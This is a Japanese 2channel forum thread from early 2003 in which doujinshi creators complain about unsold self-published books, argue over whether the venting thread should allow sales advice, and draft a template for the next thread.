 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  
>女性向で言われてる絵が古い、というのは
>昔の少女漫画風って事なんじゃないだろうか。パロ描くには不向きというか
だから売れたいなら取り合えず絵柄変えろって言ってるんでしょ
なんか喧嘩腰の人多いな〜。
売れなくてイライラしてんのかも知れんが、八つ当たりしたって
売れるようにはならんぞ。
ぶっちゃけ「絵柄」ってそう簡単に変えられるもんでもないと思う。
オンナノコとオトコノコのキメ顔だけが旬な絵で、爺や婆や主人公でもキメ以外の顔は相変わらず
(真似るべき見本がないので変えようがない)、
結果、崩れたイメージなんてことにもなりがち。
ここでみんなジャンルを明かした上で絵を見せてくれたら
面白い……もといスキーリするのに。
それで思いっきり納得か驚愕してみたい(笑
※ここは愚痴吐きスレです。売れるノウハウスレではありません。
  『相談に乗ってあげるちゃん』はなるべくご遠慮下さい。

                      |
                      |
                      |
         :::::∧_∧  ∫|
         :::::(  ´(⌒)━・ |
       ::::(   _/ / ヽ   |
        ::::\_/ | ノ    |
       :::::::|     \   |
          :::::\  \ ヽ/
         ::::::::\  | ノ
           :::::l⌒|  |
           ::::::ヽ_|  |
          /::::(___)
        /  :::::::::::::
>>522
多少はいいんじゃないか?<売れるノウハウ
愚痴だけ吐いて建設的な意見禁止じゃ、レスもできない

「円満に本を交換している人お断り」の交換スレみたいにルールだけで荒れてしまう
>522
さっそく使おうよ
>>475
525名無しさん@どーでもいいことだが。:03/01/26 00:40 ID:2QQ9Lu4G
素質が無い人は大変だな(w
>>523
君はなんか勘違いしているようだね。
その勘違いについて説明してあげる気にはなれない。
面倒クセーから(´▽`)。
何故テメーが勘違いしているかは過去スレ及び過去ログでも読めや。














※ここは愚痴吐きスレです。売れるノウハウスレではありません。
  『相談に乗ってあげるちゃん』はなるべくご遠慮下さい。

>>526
それ、交換スレのコピペですか?
>>526=>>522 必死だな(藁
多少はいいだろけどさ。
基本的に「●●で売れないんですけど、どうしたらいいでしょうか?」
って相談を持ちかけられてから答えればいいんじゃないの?
聞いてもいないことに勝手に首つっこんで、教えてあげる、相談にのってあげる
ってやるからわけわからなくなる。
もちろん相談事が別スレの方が向いているならそちらに誘導で。
このスレのその2くらいからかね。
勘違いして「相談に乗ってあげるチャン」が出没し出したのは。
ええ加減いい飽きたべ( ´∀`)σ)Д`)プニュ←528
    _____
   (〃___ノ  / ̄ ̄ ̄ ̄ ̄
  ◯(っ´∀`)◯ < 相談に乗ってあげるチャンが現れる度…
  》\ フVフ/》   \_____
  巛 |⌒I、│巛
   (_) ノ
      ∪

    | | | |
    _____
    (〃___ノ  / ̄ ̄ ̄ ̄ ̄
    (っ´∀`)っ < このスレは「3000部刷って2500売れて
   / フVフ\   \_____
  ○ |⌒I、│○
  Σ(_) ノ巛スタッ!
    _____
    (〃___ノ  / ̄ ̄ ̄ ̄ ̄
    (っ´∀`)っ < 残り500が売れない人」も有りのスレだと
   / フVフ\   \_____
  ○ |⌒I、│○
  巛(_) ノ巛
    _____
   (〃___ノ   / ̄ ̄ ̄ ̄ ̄
  ○(っ´∀`)○ <  マジで言い飽きたつっーの
 / \ フVフ/ \ \_____
 |氏  |⌒I、│ね  |
 |___(_) ノ____|
やっぱ、こっちの板にも
「もっと売れたいスレ」
みたいなのがあった方がいいのかもね。
ノウハウ板見てない人もいるだろうし。

                   ______
                   |  (¥)/
                   ( ´Д`) 激しく同意しる!(*1)
            (っ)    ,,,,l ` γ l,,,,,
             \ \/~~.... |。  ~~ヽ
               \,,/ |   |。田}}\ \
              _    |   |。  |  ゝつ
             |\  ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄\
             |  \               \
             |   | ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄|
我々のスレは最大の危機に瀕している。
我々の最大の脅威である「相談に乗ってあげるチャン」のデムパ攻撃を受けている。
勘違い、偽善、エコスレ読まず参加…。 ありとあらゆる手段により我々のテーマが脅かされている。
このままでは限りない資源であるスレッドが浪費され、 我がスレは滅亡するであろう!
このままでいいのか!我々は泣き寝入りするしかないのか?
否! 決してそのような事はない。我々には自由を愛する精神があるはずだ!
真の自由は決して滅びることはない。決して侵されることのない領域である。
国民よ、立ち上がれ!我々は団結して「相談に乗ってあげるチャン」を殲滅し、
そして我々の素晴らしきスレテーマを取り戻せ!。 勝利は必ず我々にある!
や〜 間違えたから訂正〜 あーはははは

                   ______
                   |  (¥)/
                   ( ´Д`) 激しく同意しる!(*1)
            (っ)    ,,,,l ` γ l,,,,,
             \ \/~~.... |。  ~~ヽ
               \,,/ |   |。田}}\ \
              _    |   |。  |  ゝつ
             |\  ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄\
             |  \               \
             |   | ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄|
我々のスレは最大の危機に瀕している。
我々の最大の脅威である「相談に乗ってあげるチャン」のデムパ攻撃を受けている。
勘違い、偽善、過去スレ読まず参加…。 ありとあらゆる手段により我々のテーマが脅かされている。
このままでは限りない資源であるスレッドが浪費され、 我がスレは滅亡するであろう!
このままでいいのか!我々は泣き寝入りするしかないのか?
否! 決してそのような事はない。我々には自由を愛する精神があるはずだ!
真の自由は決して滅びることはない。決して侵されることのない領域である。
国民よ、立ち上がれ!我々は団結して「相談に乗ってあげるチャン」を殲滅し、
そして我々の素晴らしきスレテーマを取り戻せ!。 勝利は必ず我々にある!
ルールに絡み禁止を入れてテンプレにしる
536名無しさん@どーでもいいことだが。:03/01/26 02:52 ID:2QQ9Lu4G
ID:w/XZjBZq、必死すぎ(w
たんに傷の嘗め合いをするのが目的のスレなのに、
なぜ建設的な意見を言いたがるのかと小いt(ry

まあ「愚痴」という日本語がわからんヤシがいるってこったな。
てゆうか相談じゃなくて説教なんだよなあ…。
舐めあいの範囲で「こうしたら売れるかも」って言うくらいはいいんじゃ
ノウハウ板に『もっと売れたいスレ』なんてあるの?
知らなかった…探してこよう。
愚痴を垂れ流し合うのもスレ違いで荒れるのも不毛なのには変わりがない訳だが

                貴様か!説教を垂れたのは!
   >>536
     ↓
    ∧_∧                  ∧ ∧_
  Σ ( ´Д`)   +         ____(゚Д゚,,) ヾ
   /    ヽ  `========ll⊂| >    | ∨/| ̄`ヽ
   | |   | |            | >  i | // |  i  |
   | |   | |              ̄ ̄| |//.  |  |へ|
    ∪ イ ∪               | |=∞==|  |ナ
    | || |                  l___|  i  |_|
    | || |                   /    |   ヽ
    | || |                   L__⊥___」
.    (_)_)                /Y_l   〈_Y`、
────── ||──────────‐─────−───────      ∧_∧
──────(_)─、────────‐─────────- ( ヽ       ( ・∀・)       ノ )
─────‐─(_)_ \────────‐──────‐──  \ \     _/  /_  ___//
───────/  \ ∧_∧,〜 ──‐───────‐────   \  ̄\ \  >536/ /    /
─────−─\   \   )\────────────────  ̄ ̄| \ \   / / | ̄ ̄
─────−──ヽ    ̄ `ヽ |─────‐───────‐───── |  \ \/ /  |
──―──────\   `ー'ヽ, -'⌒\─‐────────────   |____\ /____|
―─‐─―─―──‐  |    ,     _/⌒──────────────  ___    _
──────────\     /\/ ──────────‐───‐─  |    / /\\|
─────‐∧ ∧,〜 /  /  )  `ヽ、 ──────────‐────  |   / /  \____
──−──(Д゚(⌒ ̄ `ヽ'   _/     )───────────‐──  (  / /____  )
──―───‐\  \ `ー'"´, -'>__ノ ─────────────   / /       / /
―‐――──‐ /∠_,ノ    _/.__)──) )──‐────────‐─    / /      __//
─────‐ /( ノ ヽ、∧ ∧,〜──(__ノ ───‐───‐────−  //       ( /
────‐ 、( 'ノ(    (゚Д゚,,)⌒ ̄`ヽ、 ────────────  //         )/
───‐‐/` ―\__(  ー\  _」_,∠⌒`ヽ──────  __//          し′
───/───―‐/__〉\   、 ( ノ 、ー'⌒`  \──‐─    ( /
──/──‐──────\ (_ノ   ) _,-―_\‐──    ) /
─/────────−──/'`    く \───────   し′
────────────/ /、     >   ̄>‐───‐───
───────────≠  / \_/〉─く__ノ──────────
>>539
それを許すと、相談に乗ってあげるチャンが増殖する事をいい加減気づけとk(ry
小 さ な 親 切 大 き な お 世 話 という言葉知ってますか?
545名無しさん@どーでもいいことだが。:03/01/26 13:06 ID:xGEQr5pN
ID:yVDpsrQK、必死だな(w
>>545
必死なのはおまいだ( ゚Д゚)y―┛~~
547532:03/01/26 15:50 ID:6cWWNGfe
>>540
いや、>>464とかで上がってるスレはノウハウ板にあるけど
各スレかなり具体的なことに特化してるんで、全般的に
「今よりもっと売れたい & もっと売れる技伝授」なスレが
こっちにあったらいいかな、と思って。
ピコ専用じゃなくて、現在小手〜中堅の人でも
「総部数をもう100部延ばすには…」なんてのでもいいし。
つーか、売れない悲しさを語るんじゃなくて「買い手が悪いんだ」みたいな演説が
多すぎるんだよ。
前の方読んでて、「本当にお前は手塚治虫ほどおもしろい話が描けるのかよ
(その上で絵柄が今風でなくて悩んでいるのかよ)!?」とか思った。
読み手だろうと買い手だろうと、漫画(小説)が好きで普通の感覚持ってたら
一言言いたくなるのも無理はないと思う。

2chだからとかどのスレだからとかじゃなくて、そいつの心根の問題だろう?
いや、絵柄が重要なのは壁を見れば判る筈だが。
そんなことないぞ。>549
>>549
禿同。

でもスレ違いなので、絵柄問題スレにでも移動しれくれ。
┌─────────────────
  |皆の衆、あのね…
  │私はピコどもの救世主になりたい
  └───―─v───――――┌───────────
                       | 正直、いらない つかピコスレじゃねーし
                       └──――──v───――─
                   /) 
 (\ (\            /)/)
  ( \(\  ∧_∧  //) ) )
  ゞ\ (\ヽ(´Д ` )/ ノ )/∠
   (\ ( /   /⌒ ノ/)  )
    ゝ /⌒/⌒/ / |ノ /)/             ((( )))
    (つ /_/ /\ |、_/              ( ´Д ` )  
     (____/  ヽ                 ⊂  ⊂ )
─__ _/ / / \   丿─────────── ( ( )ノ ──
 ( __(___ ) ̄ ̄ ̄ 

553名無しさん@どーでもいいことだが。:03/01/26 22:16 ID:h38Srxh6
ID:bCCOmJF2=ID:yVDpsrQK

 必 死 だ な ( 藁 
>>553
私の必死の説得、そろそろおまいの脳に伝わったかい?(´▽`)ニコ
> 前の方読んでて、「本当にお前は手塚治虫ほどおもしろい話が描けるのかよ
(その上で絵柄が今風でなくて悩んでいるのかよ)!?」とか思った。

蒸し返してすまんが、誰かこんなこと書いてたっけ?
深読みだか逆鱗だか知らんが、勝手にねつ造・解釈してつっかかるのやめてほしいよ。
/|         |  |_____ΦΦΦΦΦΦΦΦΦΦΦ||ΦΦΦ
  |         |  | ̄ ̄ ̄ /|                    ||
  |         |  |   / /|TTTTTT   TTTTTTTTTT||TTTTT
  |        /\ |  /|/|/|^^^^^^ |三三| ^^^^^^^^^^^||^^^^^^^
  |      /  / |// / /|
  |   /  / |_|/|/|/|/|
  |  /  /  |文|/ // /
  |/  /.  _.| ̄|/|/|/         Λ_Λ
/|\/  / /  |/ /           (___)
/|    / /  /ヽ            /〔 祭 〕〕つ
  |   | ̄|  | |ヽ/l            `/二二ヽ
  |   |  |/| |__|/   Λ_Λ     / /(_)
  |   |/|  |/      ( ´∀`)   (_)    Λ_Λ
  |   |  |/      // /  ^ ̄]゚        (`   )
  |   |/        ゚/ ̄ ̄_ヽ         ⊂〔〔 祭 〕
  |  /         /_ノ(_)          ┌|___|
  |/          (__)             (_ノ ヽ ヽ
/                                (_)

  |         |  |
  |         |  |_____
  |         |  | ̄ ̄ ̄ /|
  |         |  |   / /|
  |        /\ |  /|/|/|
  |      /  / |// / /|
  |   /  / |_|/|/|/|/|
  |  /  /  |文|/ // /     ∧∧
  |/  /.  _.| ̄|/|/|/      /⌒ヽ)
/|\/  / /  |/ /       [ 祭 _]    ∧∧
/|    / /  /ヽ         三____|∪   /⌒ヽ)
  |   | ̄|  | |ヽ/l         (/~ ∪    [ 祭 _]
  |   |  |/| |__|/       三三      三___|∪
  |   |/|  |/         三三       (/~∪
  |   |  |/         三三      三三
  |   |/                    三三
  |  /                    三三
  |/                    三三

558名無しさん@どーでもいいことだが。:03/01/27 01:04 ID:KlbNtbJc
早っ!
>557
とぼとぼと帰ってる姿かと思いきや、
同じ方向に向かって歩いてる??
> つーか、売れない悲しさを語るんじゃなくて「買い手が悪いんだ」みたいな
演説が多すぎるんだよ。

このへん禿同…。
>>560
いいじゃんかよ、ここは愚痴スレなんだから。
他人の愚痴読みたくないなら覗かなきゃよかろうに。。。
スレ違いだなんだとグダグダ絡む奴は
愚痴吐きにきたのに説教じみたレス返されてイラついた香具師本人なら納得いくが
そうじゃないのならなんなんだろう…ほんとうに不思議だ
>>562
少なくともあたしは、自分が愚痴垂れたときに説教されるかも、
と思うので嫌なだけですが。
説教されたくてここ来てるんじゃないもん。
たんに傷を嘗め合いたいだけだもんw
とりあえず2chで完全に好意的なレスだけを望むのはあきらめろ
*あたし* と *たんに* と *嘗め合う* に ('A`)萎え
リアチュ?
私は個人的には、売れないことを嘆くとき少なからず
なんでだろうなあ…○○だからかなあ…という思いは抱いてるんで
漠然となんでだろうねえ…××だからかも…という程度でレスを
返されるのは、別に嫌なモンでもないがな。
それは何々がいけないとオモワレマス、みたいに決め付けられたら
イヤだけどさ。
567563:03/01/27 06:27 ID:1LhCc8tI
>>564
それはあきらめてまつ。
だから漏れも説教ウゼェとレスしてるだけ。

>>565
厨かも知れんけどリアじゃないw
一人称は普段の癖でやっちまいました。
他はワープロソフトのせいにしてみる。
萎えさせてスマソ
リア女としてはハァハァしてもらった方が嬉しいし。
もまいらおちけつ
566にドウイー。
なんで売れないのかな〜という気持ちは常にあるなぁ。
茶飲み話や、井戸端会議のノリでのレスだったら嫌じゃない。
いつも必ず出る、「ジャンル変えろ」が一番腹立つ。
>563=567が激しく痛いわけですが。
定期的に現れる説教厨は、イコール過去スレおよび過去ログ読んでない初心者でしょ?
1スレごとに最低2回から3回現れては祭りを呼び起こす恒例厨祭り。勘弁してくれよ。
ここはピコ〜大手まで全対応の愚痴スレ。「10部しか売れなかった」人もいれば、
「一万部刷ったけど残り500部がどうしても売れない」もアリなの。あと、ジャンル上限で
どうしても100部以上売れないけど、好きだから他ジャンルに移れないとかさ。
状況は違うけど共通項「売れない」人の愚痴スレなんだからノウハウはいらねっつの。

と何回も書いているわけだが。




「と何回も書いているわけだが。」←これも何回も書いてるわけだがヽ(`Д´)ノ ウワァァン
自分も概ね566にドウィだが、
明らかに愚痴ってるだけの書き込みに絡むヤシはどうかと。説教は論外。
「ジャンル移れ」は、感想スレの「やっぱり感想は送らないのが一番」みたいな
スレのお約束煽りみたいになってるし、各自脳内あぼーんでいいと思うんだが。
逆に、どうして売れないかわからない……みたいなヤシにはレスしてもいいんじゃネノ?
具体的な意見が欲しいならノウハウの各スレへドゾーの方向で。

このスレの最初まで普通にそれが混在してたのに、
なんで突然こんな流れになってんだ?
>>566>>569のような意識なら
ここよりピコスレやノウハウ行った方が建設的だよ。
ここは愚痴るだけのスレですからと、何度書けば理解してもらえるのか…

これだけではなんなので。
1、2年で売切れればいいなと作った当時そこそこ人気のあったジャンル。
TV放送も終わり、すっかり斜陽になってしまったMyジャンル。
あと2割が全然でない、動かない・・・そろそろ焚き火の季節ですヽ(`Д´)ノウワアアァァン!!!!
>573
マテ!
衛星放送などで再放送されるとほんの少ーし盛り返す場合もあるぞ
はっきり言いますが、同人で一生食べて行く事は不可能です。歳をとれば執筆
のモチベーションも下がり、メイン読者層である10〜20代の感性に追いつ
きません。そのジャンルで台頭してくる若い作家のセンスにも歯が立たなくな
ります。同人作家としての寿命は、長くても40代前半まで。その後無職で食
べられるだけの貯蓄ができますか?貯蓄が底をついたら、どうやって生活しますか?
(特に売れている時に浪費癖がついていると、みじめな生活になる)
売れた経験がある人も、同人誌で生活するという事に見切りをつけられる勇気
と、まっとうな就職にトライできるフットワークの軽さを持った方がよいです。
漫画や小説を描く事が大好きなら、頑張ってプロになるとか。
もっともプロに転向したとしても、この出版業界不景気のご時世では専業同人と
かわらない気もしますが・・。
学生時代から同人誌で売れてしまい、就職やバイトを一度も経験した事がない人
がいますがそういったいわゆる「つぶしのきかない人」は、もう少し将来を考え
た方がよいです。マジで。

575はコピペだよね
説教ウザイのなら、早速テンプレを使うべきかと。

ここは、売れない悲しさについてマターリ愚痴るスレです。
「売れないの誰か助けて!教えて!」「売れる方法教えてやる!」
は、ここではスレ違いです。
また、「売れないのはヘタレ」「気合いが足りない」系の絡みも無用です。
その手のノウハウをお望みの方は、
>475を参照の上、適切なノウハウスレに移動願います。
再テンプレ案
--------------------------------------------------------------
タイトル:本が売れない悲しさ(その8)

ピコ〜大手まで。
思ったよりも本が売れなかった悲しさ、切なさをマターリ語ろう。

※ここは愚痴吐きスレです。売れるノウハウスレではありません。
  『相談に乗ってあげるちゃん』はなるべくご遠慮下さい。
---------------------------------------------------------------
【誘導】
ここは、売れない悲しさについてマターリ愚痴るスレです。
「売れないの誰か助けて!教えて!」「売れる方法教えてやる!」
は、ここではスレ違いです。
また、「売れないのはヘタレ」「気合いが足りない」系の絡みも無用です。
その手のノウハウをお望みの方は下記にご移動下さい。

同人ノウハウ板。
http://comic2.2ch.net/2chbook/
★ピコ手専用★売り方見せ方アイデア集!
http://comic2.2ch.net/test/read.cgi/2chbook/982561743/
【内容】買わなかった理由スレPart3【装丁】
http://comic2.2ch.net/test/read.cgi/doujin/1042275217/
「ジャンル移れ」も絡みの一つに含めてホスィ
わかった

売れないのは自分のせいスレ

売れないのは他人のせいスレ

に分ければ万事解決
どっちかっつーつ

売れない悲しみ【レス不要】

売れない悲しみ【アドバイスくれくれ】

とかに分かれたらいいんじゃないのか
売れない理由なんて関係無い
ただ吐き出したいだけなの
すさみやちゃぶだいといっしょだっての
ふと思ったんだけど、このスレに書き込みしている人で
ここでアドバイスが欲しいんだもん! ってタイプの
レスは見ないような気がする。いたっけ?
ちょっとぐらいいいじゃないか、とかってのはみんな
レスをつける側の発言な気がするんだけど。

もしそうだったら、その人たちが発言しなければいい問題なんじゃ…
発言すんな!と言ってきいてくれる相手だろうか。
難民板にでも行く方が現実的って気がする。
それか完全放置を覚えるか。
>>582がまさにこのスレのテーマだと思う。
>>585
スレテーマを理解しない厨房の為に難民に移る必要は全くないよ。
正直、この程度の荒れ方は、長く続いてるスレならありがちだし。

……ていうか、>1の文章が今までシンプル過ぎたんだね。
本来なら>1のテーマはとっくに具体的になってるべきところだったんだろうけど、
相談にのってあげるチャンの出没時期がなんの偶然か、
スレ初期か中盤前後ばかりで、引越前後の頃には出ないものだから、
今までのまま来てしまった訳で。
>なんで突然こんな流れになってんだ?

愚痴のあとレスした人にレス返した人がいたあたりからじゃなかったか?
絵のプロ、と言ってる人のあたり。
588名無しさん@どーでもいいことだが。:03/01/28 00:08 ID:pXKIgP8/
ひたすら話題を変えよう、変えよう、と粘着してる香具師がいたから、
からかわれたんだと思われ。
普通にスルーすれば良いものを、「このスレは云々」と連呼する辺りが

 バ カ 丸 出 し
>なんで突然こんな流れになってんだ?

大きめのイベントの狭間のせいもあるんじゃないか。
春もすぐだし早めに次の原稿に入った方がいいぞ。  …オレモナー。
今までより気合入れて描けばもう少し売れるかもしれない。 …ソウオモッテガンガルサ
590(゚ε゚):03/01/28 01:21 ID:U2FhtddN
昨日のオンリー悲しいぐらいに売れんかった!
3種類持っていって、売れたのが5冊、5冊、1冊・・・
うち1種は冬祭りで発行したばかりですが何か?
アーヒャヒャヒャヒャヒャヒャヒャヒャヒャヒャヒャヒャヒャヒャヒャヒャヒャヒャヒャヒャヒャヒャヒャヒャ!!!!!!!!!!
このスレに限らず、最近よく、このスレは○○なためだけのスレなんだから
それ以外はスレ違い。出てけ!!とやたら噛み付いて排除したがる人多いけど
全ての物事は完全に独立して成り立ってるわけじゃないんだから
ある程度、話が逸れたり広がったりするのが普通の流れだと思うけどね。

あんまりテンプレテンプレ、>1に注意書きを!!って狂騒してんのは
傍から見てすごく偏執的に見えるし、見苦しい。
あんまり厳密に分けようとしたら、スレがいくつあっても足りないよ。
本当に愚痴だけこぼしたくて吐き捨て、完璧にレス無用!! を望むなら
こんな2chじゃなく、独りで木のウロにでも叫ぶしかないんじゃない。
>591
言ってることは納得できるけど、
吐き捨て系スレでのアドバイ厨はどこでだってうざがられるものだってことでしょ。
それにすでに意見を交換し合うスレはあるんだから、
スレの内容に合うように使い分けるのも、住み分けるのも普通の流れだと思うんですけどね。

っていうか、何でそんなにアドバイスしたいんですか?
ほっといてくださいよー
>>591
2chだからこそローカルルール破れば叩かれるんでしょ?
スレ違いを擁護されてもなあ。。。
スレ違いを擁護しているのではなく、アドバイスなんぞもしたことないけど
2chのような形式なら、ある程度話が入り乱れるのは当然のことで
完全排除は逆に不自然だし、無理だろうと思っただけ。

自分の愚痴を流して欲しいのなら、アドバイスも噛み付かずサラッと流せば?
自分の言うことは聞いて欲しいけど、逆は自分に都合の良い意見や慰め以外
聞きたくないってのは良い悪いというより、2chである以上不可能だろう……
今の雰囲気、なんか魔女狩りっぽいよ。

ほっといてくれ!! と心から思うなら、なんの意思表示もせず引っ込んでることです。
そうすれば誰も洟も引っかけないよ……
コミケ合わせのコピー本。
表紙はNKメタルの2色刷りオフ、本文はコピーで色刷りにした。
50作ったが、かなり自信のある出来栄えだったので更に20部コピった。
捌けたのは39…
手に取ってくれた人は10倍は居たような気がした。とにかく手に取ってくれるのに
売れない。
サークルの人は絵柄買いしてくれるが、読み専の人が厳しい。
自分よりキャリアも実力もある憧れの人が買ってくれたのがせめてもの救い…。

テンプレ通りマターリ語ろうよ…
あのさ。完全排除が不可能なのは当たり前でしょ?
誰が他人のカキコを止められるのさ。
スレ違いをスレ違いと指摘することを非難するのは筋違いだろ、って言われてるのわかんないの???
>594
同意。はき捨て・レス無し推奨してんだったら
まずは自分から実行しる!と。

>595
普通目の肥えたサクール者の方が買うのを躊躇しがちだから、
ある意味羨まスィーw

いつもフツーに500刷ってるんだが、再録本まで調子こいて
同じ部数刷っちまったもんだからアラ( ゚Д゚;) タイヘン!
いつなくなるんだ…しかもジャンル斜陽気味だしな…ウトゥ

あまりにも動かなすぎるので、相方に
「アイアンストック」と命名されますたw
…笑えないよママン…( ´Д⊂
普段はエロ描いてる漏れ。珍しく非エロ描いて、寅に委託。
通販リストに載ったのを確認してみたら

18 禁 に 分 類 さ れ て ま す た 。

エロが極端に嫌われるジャンルなのに。。。
売れない本ケテーイだよぉぉっヽ(`Д´)ノウワァァァァン

間違えて買ってくれた人に「エロじゃねえじゃねえかゴルァ!」と言われるのもツラヒ。。。
>598
虎に連絡すれば直してもらえると思うぞい。
>なんの意思表示もせず引っ込んでることです。

てめーは何他人に強要してんだよ。(´▽`)
もうその話題は飽きました。(´▽`)
言いたい!言わせて!でも誰も私のグチに意見しないで!

…は、さすがに、どんな隔離スレでもムシがよすぎると思うなあ。
余計(だと感じる)な「教えるレス」がついたとしても、
それこそ、脳内アボーンすればいいのでは?
>598
漏れも健全ギャグ本が「女性向け」(虎で言うところの801本)にされちまってたんで
慌ててFAXして訂正させたよー
分業してるせいで、ジャンルや表紙の絵だけで傾向分けされてしまうらしい

虎に委託しててどうも捌けが悪い…と思っている人は
一度サイトで自分の本のデータを確認してみた方がいいよ
なんでこんなになってんのかな?

再テンプレ案
--------------------------------------------------------------
タイトル:本が売れない悲しさ(その8)

ピコ〜大手まで。
思ったよりも本が売れなかった悲しさ、切なさをコソーリ吐き出そう。

※ここは愚痴吐きスレです。売れるノウハウスレではありません。
  『相談に乗ってあげるちゃん』はなるべくご遠慮下さい。
---------------------------------------------------------------
【誘導】
ここは、売れない悲しさについてコソーリ愚痴るスレです。
「売れないの誰か助けて!教えて!」「売れる方法教えてやる!」
は、ここではスレ違いです。
また、「売れないのはヘタレ」「気合いが足りない」「ジャンル移れ」系の絡みも無用です。
その手のノウハウをお望みの方は下記にご移動下さい。

同人ノウハウ板。
http://comic2.2ch.net/2chbook/
★ピコ手専用★売り方見せ方アイデア集!
http://comic2.2ch.net/test/read.cgi/2chbook/982561743/
【内容】買わなかった理由スレPart3【装丁】
http://comic2.2ch.net/test/read.cgi/doujin/1042275217/
どうせならこれも入れておいてはいかがか。
スペースのレイアウト・2nd
http://comic2.2ch.net/test/read.cgi/2chbook/1040990428/
この板とノウハウ両方にあった、同人誌の処分方法スレはあぼーんしたかな?

ノウハウ板以下スレ紹介は、>2に書いてもいいような気がする。
んじゃこれでどうかな。

次スレテンプレ
********>>1に書き込む*******************************************

タイトル:本が売れない悲しさ(その8)

ピコ〜大手まで。
思ったよりも本が売れなかった悲しさ、切なさをコソーリ吐き出そう。

※ここは愚痴吐きスレです。売れるノウハウスレではありません。
  『相談に乗ってあげるちゃん』はご遠慮下さるか、>>2のスレにご移動下さい。
■その7■
http://comic2.2ch.net/test/read.cgi/doujin/1040150519/
■その6■
http://comic2.2ch.net/test/read.cgi/doujin/1032059606/
■その5■
http://curry.2ch.net/test/read.cgi/doujin/1024069794/
■その4■
http://kaba.2ch.net/test/read.cgi/doujin/1016229256/
■その3■
http://yasai.2ch.net/test/read.cgi/doujin/1002915258/
■その2■
http://yasai.2ch.net/doujin/kako/994/994778648.html
■その1■
http://yasai.2ch.net/doujin/kako/987/987919921.html
********>>2に書き込む*******************************************

【誘導】
ここは、売れない悲しさについてコソーリ愚痴るスレです。
「売れないの誰か助けて!教えて!」「売れる方法教えてやる!」
は、ここではスレ違いです。
また、「売れないのはヘタレ」「気合いが足りない」「ジャンル移れ」系の絡みも無用です。
その手のノウハウをお望みの方は>>2のスレにご移動下さい。

同人ノウハウ板。
http://comic2.2ch.net/2chbook/
★ピコ手専用★売り方見せ方アイデア集!
http://comic2.2ch.net/test/read.cgi/2chbook/982561743/
【内容】買わなかった理由スレPart3【装丁】
http://comic2.2ch.net/test/read.cgi/doujin/1042275217/
スペースのレイアウト・2nd
http://comic2.2ch.net/test/read.cgi/2chbook/1040990428/
>606-607
それこそ過去ログは>>2でいいんじゃないの?
前スレだけ>>1に書けばいいと思われ
んで誘導の方を>>1にした方が…
年始の大阪イベントだけ手伝って貰ってる売り子ちゃんが、
「今年の初売り(新刊)は去年の倍、売れましたね。うれしー」
と喜んでくれた。しかし…

去年>イベント初売り>20 通販初売り>70
今年>イベント初売り>40 通販初売り>20

…実は減ってるんだよ……。ふ・ふふふふ……。
通販分の激減の原因はいったい……。謎だ。
610山崎渉:03/01/28 19:13 ID:XjYWvu2I
(^^)
今コミケの申込書書いてて、
前回実績の欄で手が止まった。
うつだしのう
1年前、150部刷って17冊売れたよ。
その直後に同人やめたんで、1冊も減っていません。
仕方ないんで、数回に小分けて捨てました。
なんか昔、こんな小説があったよなぁ〜と思いながら。
OUTだったけ?
>>606-607は気が早すぎ。
あまり2chに教条主義を持ち込むなって。
>>613
気が早いんじゃなくて、むしろ遅すぎたの。
そもそもスレ2で初めて荒れた時に、次スレの>>1文を改正するべきだったのを、
毎回引越まで間があるという事で保留にし続けて現在まで引きずってしまったんだから。
私の記憶が確かなら、ちなみに今スレでは2回目だよ。>教えてあげるチャン祭り
だから100前後あたりのレスで次スレの>>1改正文が提案されてるんだから。

>あまり2chに教条主義を持ち込むなって。

・・・ひょっとして同人板初心者でつか?
上に同じ(´・ω・`)
616615:03/01/28 22:33 ID:qxYwpJR4
>>611でつ(´・ω・`)
私も相棒も、流行じゃなく見栄えもしない絵柄。
特に相棒は絵は下手と言っていい部類。
でも、話はめちゃめちゃいい。ネームが巧い。
本を手に取ってもらえないことには話しにならないのだが
私の絵も相棒よりはほんのちょっと見栄えがする程度で
客をひきつけられる程のもんじゃない。
相棒の漫画をもっと多くの人に読んで欲しいのに…。
絵がかなりまずくても、一冊まるごと1編の漫画で構成されてる本なら私は買うよ。
ただし「や(まなし)お(ちなし)い(みなし)」は除外。
自分の本じゃなくても「何でここの本が売れないんだ〜!」
っていうのあるなあ。
自分にはミラクルヒットなのにスペースはいつも閑散としてて
ファンとして寂しいというか。ある意味本が売れない悲しさ。
>617
そんなにネームがうまいなら、ぜひ絵を気合入れて頑張って!!と
相棒さんに伝えて欲しい。絵は気合で上手くなれるけど、ネーム
ばかりはホントに持って生まれた才能なんだよ…生かして欲しいよ。
621名無しさん@どーでもいいことだが。:03/01/29 04:18 ID:bgSfygQO
ここは本が売れないだとかボヤいてる奴ばっかだけどさ。
おまえら好きで描いてるんだろ?自覚してる売れない本をさ。だったらそれをやり通せよ。
「売れる本」を描きたいんならとっととジャンル変えろ。今の売れ線ぐらい把握できるだろ?
おまえ一人で時代を動かせると思うな。
「好きなジャンルを描いた上で売りたい、売れても嫌いなジャンルはやらない。」
なんてキレイ事ぬかしてんじゃねえよ。同人は時代の先端に立ったモンだけが勝者なんだ。
ここで吠えてる連中のたわごとは泣き言としか言いようがない。「負け犬の遠吠え」だな。
30部、50部とかちまちまオフセ作って元手取れない〜とかほざいてる奴はやめちまえ。
小部数印刷だとコストだけ食うから高くついちまうんだよ。結果一冊当たりの単価を
上げざるを得ないんだよ、ばかやろう。刷るなら100部以上にしろ。
ここで「売れる自身がない」と思った奴は落第。コツコツとイベントに廻れ。
どうしようもないヘタレなら2,3年がかりで売る気でいろ。
その間にあきらめちまったらお前の負け。
イベントってもくれぐれもスタジオ貴方の雷部には出るなよ。
あそこは厨房の溜まり場だからな。金の無い連中ばっかりだからいくら実力あっても
全然売れない。あそこで売れなかったからといってへコむこたない。
都市やコミケットで一桁の売れ行きならちったあ考えたほうがいいかもな。
男が都市でどう売れとw
>>622
都市は「男性お断わり」じゃないでしょ?
つーか”男が都市を食う!”くらいの勢いは欲しいな。
かつてレヴォを食ったように…。
>>604-608
なんか必死だな……って感じ。

なんで>>604-608みたいな「ただ愚痴りたいだけなんだから、ほっといてよ!」派が
必要以上にヤな感じするのは、愚痴吐くってこと自体が見苦しいことなのに
